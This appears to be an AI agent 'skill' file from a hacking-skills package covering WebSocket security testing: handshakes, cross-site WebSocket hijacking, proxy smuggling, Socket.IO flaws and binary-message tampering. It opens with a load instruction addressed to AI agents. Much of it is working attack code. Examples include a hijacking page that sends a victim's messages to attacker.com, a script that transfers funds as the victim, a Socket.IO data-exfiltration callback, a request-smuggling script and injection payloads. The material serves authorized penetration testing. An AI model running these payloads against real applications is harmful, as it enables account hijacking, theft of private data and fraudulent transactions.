OverviewHistoryStatsSecurity
npx skills add ...
Documentation
SKILL.md
npx skills add yaklang/hack-skills --skill websocket-security
WebSocket handshake, CSWSH, tooling (wsrepl, ws-harness, Burp), and common flaws. Use when apps use real-time channels, chat, notifications, or WS-backed APIs.
npx skills add yaklang/hack-skills --skill websocket-security
AI LOAD INSTRUCTION: This skill covers WebSocket protocol basics, cross-site WebSocket hijacking (CSWSH), practical tooling bridges, and common vulnerability classes. Apply only in authorized tests; treat tokens and message content as sensitive. For REST/GraphQL companion testing, cross-load api-sec when present in the workspace.
During proxy or raw traffic review, watch for:
Server success response indicators:
Routing note: in Burp/browser DevTools, filter for 101 and Upgrade: websocket; for deeper API testing, align authn/authz models through api-sec.
Upgrade: websocket and Connection: Upgrade — required upgrade handshake.Sec-WebSocket-Key — base64 nonce; server hashes with magic GUID and responds with Sec-WebSocket-Accept.Sec-WebSocket-Version: 13 — current standard version for browser interoperability.HTTP/1.1 101 Switching Protocols — handshake complete; subsequent frames are WebSocket binary/text frames per RFC.Minimal conceptual flow:
Origin (or equivalent binding) on the WebSocket handshake, andThen a malicious page loaded in the victim’s browser may open a WebSocket as the victim, similar in spirit to CSRF but for a persistent bidirectional channel.
Testing notes: Confirm whether Origin is checked, whether cookies are sent (SameSite rules), and whether subprotocol or custom headers are required—missing checks increase CSWSH risk.
Use a plugin to reproduce browser cookies, headers, or token refresh during the WebSocket lifecycle.
Example downstream use with SQL injection tooling over the bridged HTTP surface (adjust URL to local listener):
| Issue | Why it matters |
|---|---|
Missing Origin validation | Enables CSWSH from attacker-controlled pages |
Auth token in URL (wss://host/ws?token=...) | Logs, proxies, Referer leakage, browser history |
| No rate limiting on messages | Abuse, brute force, DoS |
ws:// instead of wss:// | Cleartext on the wire (MITM) |
| Injection in message bodies | SQLi, command injection, or XSS if content is stored/reflected elsewhere |
Example sensitive URL anti-pattern:
Prefer Sec-WebSocket-Protocol, first-message auth, or cookie + CSRF token patterns aligned with product constraints.
101 responses; note wss vs ws.Origin, Host, and Cookie policies correct? Any token in query string?ws:// in production; verify TLS and HSTS alignment.Note: WebSocket often shares session and permission models with REST; use api-sec to align authentication and resource boundaries on the same backend.
Use the WebSocket upgrade to bypass reverse proxy restrictions, then tunnel arbitrary HTTP traffic through the WebSocket connection.
| Proxy | WebSocket Tunnel Behavior |
|---|---|
| Nginx | Passes raw TCP after 101 — smuggling possible if backend doesn't validate WS frames |
| HAProxy | Depends on option http-server-close vs tunnel mode |
| AWS ALB | Terminates WebSocket — reframes traffic, harder to smuggle |
| Cloudflare | Inspects WebSocket frames — raw HTTP smuggling blocked |
| Varnish | Does not support WebSocket natively — upgrade may bypass cache entirely |
Socket.IO supports namespaces (/admin, /chat). If authorization is only on the default namespace:
If event names are derived from user input:
Socket.IO acknowledgements can return data. If the server sends sensitive data in ack callbacks:
Socket.IO falls back to HTTP long-polling when WebSocket is unavailable. The polling transport uses regular HTTP requests with cookies → susceptible to CSRF if no additional token verification:
ws://)If the application uses ws:// (unencrypted), an attacker on the same network can inject messages:
When WebSocket messages are concatenated or interpolated without sanitization:
Applications using Protocol Buffers over WebSocket may be vulnerable to:
Binary serialization formats may allow type confusion:
| Tool | Purpose |
|---|---|
| Burp Suite + SocketSleuth | Intercept and modify binary frames |
protobuf-inspector | Decode unknown protobuf structures |
msgpack-tools | Encode/decode MessagePack CLI |
wsdump (websocket-client) | Raw frame capture and replay |
| Wireshark | Dissect WebSocket frames at protocol level |
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=Client: HTTP GET + Upgrade headers
Server: 101 + Sec-WebSocket-Accept
Channel: framed messages (text/binary), ping/pong, closeconst ws = new WebSocket('wss://vulnerable.example.com/messages');
ws.onopen = () => { ws.send('HELLO'); };
ws.onmessage = (event) => {
fetch('https://attacker.example.net/?' + encodeURIComponent(event.data));
};pip install wsrepl
wsrepl -u wss://target.example.com/ws -P auth_plugin.pypython ws-harness.py -u "ws://127.0.0.1:8765/path" -m ./message.txtsqlmap -u "http://127.0.0.1:8000/?fuzz=test" --batchwss://api.example.com/stream?access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...# In Burp: intercept the WebSocket upgrade request
# Change Origin header to: https://attacker.com
# If 101 Switching Protocols returned → no Origin validation
# If 403/rejected → Origin is checked (test subdomain variants)<html>
<body>
<script>
const ws = new WebSocket('wss://target.com/ws');
ws.onopen = function() {
// Connection established as victim (cookies sent automatically)
console.log('Connected as victim');
// Send commands as victim
ws.send(JSON.stringify({action: 'get_profile'}));
ws.send(JSON.stringify({action: 'list_messages'}));
};
ws.onmessage = function(event) {
// Exfiltrate all received messages
fetch('https://attacker.com/collect', {
method: 'POST',
body: event.data
});
};
ws.onerror = function(err) {
fetch('https://attacker.com/error?e=' + encodeURIComponent(err));
};
</script>
</body>
</html>Browser behavior for WebSocket:
- Cookies for the target domain ARE sent automatically in the upgrade request
- SameSite=None cookies always sent
- SameSite=Lax cookies: NOT sent (WebSocket is not top-level navigation)
- SameSite=Strict cookies: NOT sent
Key question: is the session cookie SameSite=None or legacy (no SameSite attribute)?
→ Legacy cookies default to Lax in modern Chrome but None in older browsers// Attacker can both READ and WRITE on the WebSocket
// Read: financial data, private messages, admin commands
// Write: transfer funds, change settings, send messages as victim
ws.onopen = () => {
// Write: perform actions as victim
ws.send(JSON.stringify({
action: 'transfer',
to: 'attacker_account',
amount: 10000
}));
};
ws.onmessage = (e) => {
const data = JSON.parse(e.data);
if (data.type === 'balance') {
// Read: exfiltrate sensitive data
navigator.sendBeacon('https://attacker.com/data',
JSON.stringify(data));
}
};1. Reverse proxy restricts access to /admin (returns 403)
2. Client sends legitimate WebSocket upgrade to /ws
3. Proxy allows the upgrade (101 response)
4. After upgrade, proxy stops inspecting the connection (raw TCP passthrough)
5. Client sends raw HTTP request through the "WebSocket" connection:
GET /admin HTTP/1.1
Host: backend-server
6. Backend processes the HTTP request → 200 OK with admin content1. Connect to target via WebSocket
2. After upgrade, send HTTP/2 preface through the WebSocket tunnel
3. Backend HTTP/2 handler processes the smuggled requests
4. Bypass WAF/proxy rules that only inspect HTTP/1.1 trafficimport websocket
import ssl
ws = websocket.create_connection(
'wss://target.com/ws',
header=['Origin: https://target.com'],
sslopt={"cert_reqs": ssl.CERT_NONE}
)
# After upgrade, send raw HTTP through the tunnel
smuggled_request = (
b"GET /admin/users HTTP/1.1\r\n"
b"Host: internal-backend\r\n"
b"Connection: close\r\n\r\n"
)
ws.send(smuggled_request, opcode=0x2) # binary frame
response = ws.recv()
print(response)// Client connects to privileged namespace without auth check
const adminSocket = io('https://target.com/admin');
adminSocket.on('connect', () => {
adminSocket.emit('list_users');
});
// Server may not verify that the client is authorized for /admin namespace// Server-side vulnerable pattern:
socket.on(userInput, handler);
// Attacker sends event name that matches internal event:
socket.emit('__disconnect'); // force disconnect other clients
socket.emit('connection'); // re-trigger connection handler
socket.emit('error'); // trigger error handlersocket.emit('get_data', {id: 'admin'}, (response) => {
// response may contain data the client shouldn't have access to
fetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify(response)
});
});POST /socket.io/?EIO=4&transport=polling&sid=SESSION_ID
Content-Type: application/octet-stream
4{"type":2,"data":["transfer",{"to":"attacker","amount":1000}]}1. ARP spoofing or network position to intercept traffic
2. Identify WebSocket frames in TCP stream
3. Inject crafted frames between legitimate messages
4. Both client→server and server→client injection possible// Vulnerable server-side handler:
socket.on('chat', (msg) => {
// If msg contains JSON metacharacters:
broadcast(`{"user":"${username}","msg":"${msg}"}`);
// Injection: msg = '","admin":true,"msg":"hacked'
// Result: {"user":"attacker","msg":"","admin":true,"msg":"hacked"}
});1. Send WebSocket message: <img src=x onerror=alert(document.cookie)>
2. Server stores message and broadcasts to all connected clients
3. If client renders message as HTML → stored XSS
4. All connected users affected simultaneously1. Capture binary WebSocket frame
2. Decode protobuf structure (use protoc --decode_raw or protobuf-inspector)
3. Modify field values (e.g., change user_id, amount, role)
4. Re-encode and send modified frame
5. Server deserializes without re-validating field constraints# Decode captured binary frame
echo "CAPTURED_HEX" | xxd -r -p | protoc --decode_raw
# Output: field structure with types and values
# Modify, re-encode, send back through WebSocketimport msgpack
import websocket
ws = websocket.create_connection('wss://target.com/ws')
# Decode received binary message
raw = ws.recv()
data = msgpack.unpackb(raw, raw=False)
# data = {'action': 'get_balance', 'user_id': 123}
# Modify and re-send
data['user_id'] = 1 # IDOR: access admin's balance
ws.send(msgpack.packb(data), opcode=0x2)# Original: user_id as integer (field type 0)
# Modified: user_id as string "1 OR 1=1" (field type 2)
# If server doesn't validate types after deserialization → SQL injection
# Original: is_admin as boolean false (0x00)
# Modified: is_admin as boolean true (0x01)
# Direct privilege escalation if server trusts deserialized values